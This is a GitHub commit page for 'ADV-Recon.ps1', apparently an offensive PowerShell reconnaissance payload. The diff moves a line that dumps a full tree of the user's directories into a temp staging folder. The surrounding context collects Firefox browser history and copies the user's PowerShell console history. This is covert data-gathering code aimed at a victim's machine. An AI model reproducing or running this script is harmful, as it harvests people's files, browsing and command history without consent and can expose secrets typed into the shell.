Update ADV-Recon.ps1

This commit is contained in:
I-Am-Jakoby 2022-12-18 18:52:27 -06:00 committed by GitHub
parent ae118edc1c
commit 4fb9b2b36b
No known key found for this signature in database
GPG key ID: 4AEE18F83AFDEB23

View file

@ -52,6 +52,11 @@ New-Item -Path $env:tmp/$FolderName -ItemType Directory
############################################################################################################################################################ ############################################################################################################################################################
# Recon all User Directories
tree $Env:userprofile /a /f >> $env:TEMP\$FolderName\tree.txt
############################################################################################################################################################
function Get-fullName { function Get-fullName {
try { try {
@ -502,9 +507,6 @@ Get-BrowserData -Browser "firefox" -DataType "history" >> $env:TMP\$FolderName\B
############################################################################################################################################################ ############################################################################################################################################################
# Recon all User Directories
tree $Env:userprofile /a /f >> $env:TEMP\$FolderName\tree.txt
# Powershell history # Powershell history
Copy-Item "$env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt" -Destination $env:TEMP\$FolderName\Powershell-History.txt Copy-Item "$env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt" -Destination $env:TEMP\$FolderName\Powershell-History.txt